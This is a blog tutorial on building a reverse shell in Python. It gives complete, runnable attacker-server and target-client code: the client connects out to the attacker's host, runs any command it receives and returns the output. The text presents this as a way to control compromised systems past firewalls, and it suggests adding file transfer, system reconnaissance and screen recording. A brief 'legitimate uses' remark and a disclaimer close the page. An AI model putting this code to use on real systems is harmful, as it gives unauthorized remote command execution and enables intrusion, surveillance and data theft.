How to Create a Reverse Shell in Python

Abdou Rockikz · 24 sep 2019

Abdou Rockikz · 6 min read · Updated oct 2019 · Ethical Hacking

Introduction

There are many ways to gain control over a compromised system, a common way is to gain interactive shell access, which enables you to try to gain full control of the operating system. However, most basic firewalls blocks direct remote connections. One of the methods to bypass this, is to use reverse shells.

A reverse shell is a program that executes local cmd.exe (for Windows) or bash/zsh (for Unix-Like) commands and sends the output to a remote machine. With a reverse shell, the target machine initiates the connection to the attacker machine, and the attacker's machine listens for incoming connections on a specified port, this will bypass firewalls.

Do you want to implement such code in Python ? Let's do it!

The basic idea is that the attacker's machine will keep listening for connections, once a client (or target machine) connects, the server will send shell commands to the target machine and expects output results.

Server Side

First, let's start off by the server (attacker's code):

import socket
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
# send 1024 (1kb) a time (as buffer size)
BUFFER_SIZE = 1024
# create a socket object
s = socket.socket()

Notice that i've used "0.0.0.0" as the server IP address, this means all IPv4 addresses on the local machine. You may wonder, why we don't just use our local IP address or "localhost" or "127.0.0.1" ? Well, if the server has two IP addresses, let's say "192.168.1.101" on a network, and "10.0.1.1" on another, and the server listens on "0.0.0.0", it will be reachable at both of those IPs.

We then specified some variables and initiated the TCP socket.

Now let's bind that socket we just created to our IP address and port:

# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))

Listening for connections:

s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")

If any client attempts to connect to the server, we need to accept it:

# accept any connections attempted
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")

accept() function waits for an incoming connection and returns a new socket representing the connection (client_socket), and the address (IP and port) of the client.

Now below code will be executed only if a user is connected to the server, let's try to send a welcome message, just to let you know how you can send messages over sockets:

# just sending a message, for demonstration purposes
message = "Hello and Welcome".encode()
client_socket.send(message)

Note that we need to encode the message to bytes before sending, and we must send the message using the client_socket not the server socket "s".

Now let's start our main loop, which is sending shell commands and retrieving the results and printing them:

while True:
    # get the command from prompt
    command = input("Enter the command you wanna execute:")
    # send the command to the client
    client_socket.send(command.encode())
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # retrieve command results
    results = client_socket.recv(BUFFER_SIZE).decode()
    # print them
    print(results)
# close connection to the client
client_socket.close()
# close server connection
s.close()

All we are doing here is prompting the attacker for the desired command, we encode and send the command to the client, after that we receive the output of that command executed on the client (we'll see how in the client side).

If the command is "exit", just exit out of the loop and close the connections.

Client Side

Let's see the code of the client now, open up a new file and write:

import socket
import subprocess

SERVER_HOST = "192.168.1.103"
SERVER_PORT = 5003
BUFFER_SIZE = 1024

For demonstration purposes, I will connect to my local machine in the same network, which its IP address is "192.168.1.103".

Let's create the socket and connect to the server:

# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))

Remember, the server sends a greeting message after the connection is established, let's receive it and print it:

# receive the greeting message
message = s.recv(BUFFER_SIZE).decode()
print("Server:", message)

Going to the main loop, we first receive the command from the server, execute it and send the result back, here is the code for that:

while True:
    # receive the command from the server
    command = s.recv(BUFFER_SIZE).decode()
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # execute the command and retrieve the results
    output = subprocess.getoutput(command)
    # send the results back to the server
    s.send(output.encode())
# close client connection
s.close()

getoutput(command) function returns the output of executing the command in the shell, just as we desire!

Results

Okey, we're done writing the code for both sides. I'm gonna run the server code on a Linux machine and the client code on a Windows machine.

Note that you need to run the server before the client.

Here is a screenshot when I tried to execute the "dir" command (which is Windows command) remotely after running the client:

Running Reverse Shell in Python

Awesome, isn't it ? You can execute any shell command available in that operating system.

Conclusion

Here is some ideas to extend that code:

  • Use threading built-in module to enable the server to accept multiple client connections in the same time.
  • Add a custom command that gets system and hardware information using psutil third party module, check this tutorial: How to Get Hardware and System Information in Python.
  • Add download and upload commands to download and upload files from/to the client, check this out: How to Transfer Files in the Network using Sockets in Python.
  • Make a custom command to record the client's screen and then download the video recorded, this tutorial can help: How to Make a Screen Recorder in Python.
  • Replace the greeting with information like the current working directory using os.getcwd() function in the built-in os module.
  • And many more ! There are endless of possibilities, the only limit here is your imagination !

To conclude, a reverse shell isn't generally meant for being a malicious code, it can be used for legitimate purposes, for example, you can use this to manage your servers remotely.

DISCLAIMER: We are not responsible for any misuse of the code provided in this tutorial, use it on your own responsibility.

Happy Coding ♥

View Full Code
Sharing is caring!


Read Also





Comment panel

   
Comment system is still in Beta, if you find any bug, please consider contacting us here.